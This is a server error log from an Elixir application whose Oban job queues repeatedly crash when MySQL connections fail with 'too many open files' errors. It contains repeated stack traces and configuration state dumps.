[Sat Sep  5 23:52:01.449000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:51:50.239684Z], limit: 10, uuid: "54943a2b-b6dd-446b-a346-9deb75b6f249", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:50.239688Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.141955>, refresh_timer: #Reference<0.2525715032.1121189889.141935>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:51:50.241068Z], limit: 3, uuid: "62893614-39f5-412a-97d7-96ed87e7abbd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:50.241074Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33802>, refresh_timer: #Reference<0.2525715032.1068498948.33801>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:51:50.239550Z], limit: 5, uuid: "3ed78c29-4bba-41fd-a61c-7db93f6722a5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:50.239555Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.141956>, refresh_timer: #Reference<0.2525715032.1121189889.141934>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:51:50.240000Z], limit: 5, uuid: "bf86a07d-2240-4762-a1f7-fa144cee0507", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:50.240006Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.141957>, refresh_timer: #Reference<0.2525715032.1121189889.141948>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:51:50.239114Z], limit: 50, uuid: "a0515fd6-f605-44b0-a588-0c43817b5cc3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:50.239120Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.141958>, refresh_timer: #Reference<0.2525715032.1121189889.141933>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:51:50.241565Z], limit: 20, uuid: "bb205792-e0ef-4d92-805a-2e86bdeea274", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:51:50.241571Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.141959>, refresh_timer: #Reference<0.2525715032.1077673987.7024>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:03.446000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:04.779000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:09.702000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:13.398000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:14.939000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:52:03.242343Z], limit: 5, uuid: "275870a2-af48-47a6-9bae-baf072e2042d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:03.242348Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.7411>, refresh_timer: #Reference<0.2525715032.1099431938.35399>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:52:03.240898Z], limit: 50, uuid: "4e43e429-034b-44ad-bca3-32e28b9d8403", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:03.240904Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33883>, refresh_timer: #Reference<0.2525715032.1099431938.35380>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
